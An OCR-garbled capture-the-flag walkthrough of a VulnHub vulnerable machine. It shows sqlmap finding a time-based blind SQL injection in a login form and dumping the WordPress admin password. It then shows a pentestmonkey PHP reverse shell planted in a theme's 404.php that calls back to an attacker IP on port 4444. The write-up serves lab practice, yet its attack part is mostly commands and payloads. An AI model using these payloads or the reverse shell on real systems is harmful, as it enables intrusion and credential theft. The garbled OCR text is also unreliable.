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Description Back to the Top

The goal of this challenge is to break into the machine via the web and find the secret hidden in a sensitive file. If you can find the secret, send me
an email for verification. ;)

There are a couple of different ways that you can go with this one. Good luck!

Simply download and import the OVA file into virtualbox!

VulnHub note: You may have issues when importing to VMware. If this is the case. extract the HDD from the OVA file (using something like 7zip),
and attach to a new VM. Please see the following guide: https://jkad.github.io/blog/2015/04/12/how-to-import-the-top-hat-sec-vms-into-vmware/.
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MAC Address: " D7 49 (Oracle VirtualBox virtual NIC)
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Nmap done: 25¢ addresse . iidegjinhao

shown: 6
STATE
open http httpd 2.4.7 {(Ubuntu))
r-header: ache 4.7 (Ubuntu
t/html).
tcp
_http-server-he; =
_http-title: Site esn’'t itle (te /html).
m

tcp open
| _http-ser
_http—titl
1 ual NIC)

linux_kernel:4

TRACERDUTE
HOP RTT ADDR
9 ms 192.

rice detection performed. Please report ¢ incorrect
address ( wost up) scanned in 17. seconds

803 K

V80w 0, & —KE R

&« C ® © & 192.168.1.87

@ FFEtiE BT Microsoft ik | B2.. @ EEESHENht.. () SQUEAN (B, E. @ s




These aren't the droids you're looking for.
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Nice Find!...Proceed
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Candy Goodness Store

Candy Goodness

Our candy shop has some of the best candy in the world! We even have old vintage hard
ass pieces of candy from the 40’s that will snap your teeth right the fuck off!!

Give us a chomp and put some of our custem candy nuts in your mouth!!
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Latest Alerts B me

@ WordPress Plugin Cart66 Lite::WordPress E... Feb 27,2021 11:13:03 AM
@ WordPress Plugin Cart66 Lite::WordPress E... Feb 27,2021 11:13:03 AM
o WordPress Plugin ProPlayer SQL Injection (... Feb 27,2021 11:13:03 AM

@ WordPress Plugin All-in-One WP Migration ... Feb 27,2021 11:13:03 AM



o WordPress Plugin All-in-One WP Migration ... Feb 27,2021 11:13:03 AM
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[2e0][text/html][47.00b] http://192.168.1.87/index.html
[2e0][text/html][171.00b] http://192.168.1.87/login.php

[2e0][text/html; charset=utf-8][2.64kb] http://192.168.1.87/phpmyadmin/
[200][image/gif][1007.52kb] http://192.168.1.87/tumblr_mdeo27ZZjBlr6pf3eol_500.gif
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http://sqlmap.org

[!] legal disclaimer: Usage of sglmap for attacking targets without prier mutual consent is illegal. It is the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are
not responsible for any misuse or damage caused by this program

[*] starting @ 13:5@:24 /2021-02-27/

[13: ] [INFO] testing connection to the target URL

[13: ] [INFO] searching for forms

[#1] form:

POST http://192.168.1.87/login.php

POST data: user=&password=&s=Submit

do you want to test this form? [Y/n/q]

> Y

Edit POST data [default: user=&password=&s=Submit] (Warning: blank fields detected): user=&password=&s=Submit
do you want to fill blank fields with random wvalues? [Y/n] ¥

[ ] [INFO] resuming back-end DBMS 'mysgl’

[ 1 [INFO] using '/root/.leocal/share/sqlmap/output/results-02272021_015@pm.csv' as the CSV results file in m
ultiple targets mode

sglmap resumed the following injection point(s) from stored session:

Parameter: user (POST)

Type: time-based blind

Title: MySQL = 5.0.12 AND time-based blind (query SLEEP)

Payload: user=pXZH' AND (SELECT 7652 FROM (SELECT(SLEEP(5)))DutZ)-— ojhW&password=5s=Submit
do you want to exploit this SOL injection? [Y/n] Y
[ ] [InFO] the back-end DBMS is MySQL
back-end DEMS: MySQL = 5.0.12
[ ] [INFO] you can find results of scanning in multiple targets mode inside the CSV file
/sqlmap/output/results-02272021_0150pm.csv’

/root/.local/share

[*] ending @ 13:5@:24 /2021-82-27/ https://blog.csdn.net/xingjinhac123

TEwordpress8080ffjusers3E 24 3k 2 T wordpress ] F 7 4 F 2515
sqlmap -u “http://192.168.1.87/login.php” --forms --level 3 -D wordpress8080 --tables --dump --batch

Database: wordpress3080
Table: users
[1 entry]

password username

SuperSecretPassword admin

[ 1 [INFO] table '"wordpress8@80.users’' dumped to CSV file '/root/.local/share/sglmap/output/192.168.1.87/dum
p/wordpress8080/users.csv’

[ 1 [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share
/sgqlmap/output/results-02272021_0149pm.csv’

[*] ending @ 13:49:25 /2021-02-27/ hitps://blog.csdn.netfxingjinhao123
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Username

admin

Password

Remember Me
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Old Candy Shop  Cart* 2 Howdy, admin [l
Screen Options Help
@ Dashboard
WordPress 5.6.2 is available! Please update now.
Home
u 4
¥ Allin One SEO An automated WordPress update has failed to complete - please attempt the update again now.
Posts
Dashboard
Media
Pages o
Welcome to WordPress! fsmiss
Comments We've assembled some links to get you started:
Contact
Get Started Next Steps More Actions
Appearance O E cdit your front page Manage widgets or menus
i
Plugins + Add additional pages B3 Turn comments on or off
Users or, change your theme completely B view your site = Learn more about getting started
Tools
Settings
Cart66 Recent Orders Quick Draft
Cart66
goHJ, hgve no orders yet... Start Title
o n elling!

What's on your mind?
Cart66 Settings
Cart66 Products % |

192.168.1.87:8080/wordpress/

getshell



1B404, BN #shellf)phpfiD

// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
17

// Usage

[ ===

// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (@);

$VERSION = "1.8";

$ip = '192.168.1.37"; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /binfsh -i';

$daemon = 8;

$debug = @;

17

// Daemonise ourself if possible to avoid zombies later
1

// pentl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
SE AL--rion exists('pentl_fork')) {

nnt nat

T )3 WiV 3£ 15 i1 404.php

192.168.1.87:8080/wordpress/404.php

NKNOWN) [192
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FROM
rid=1(daemon)

R, A python T & 4 i

‘import pty;pty.
hl $ id

emon )
eshl

R

BEMAHP #7-H2%ZNOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!




:/usr/sbin/nologin

CRET FILE! o
f SECRET = "NOBODY EVER GOES IN, AND NOBODY EVER COMES DU*@ =
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.bash_history
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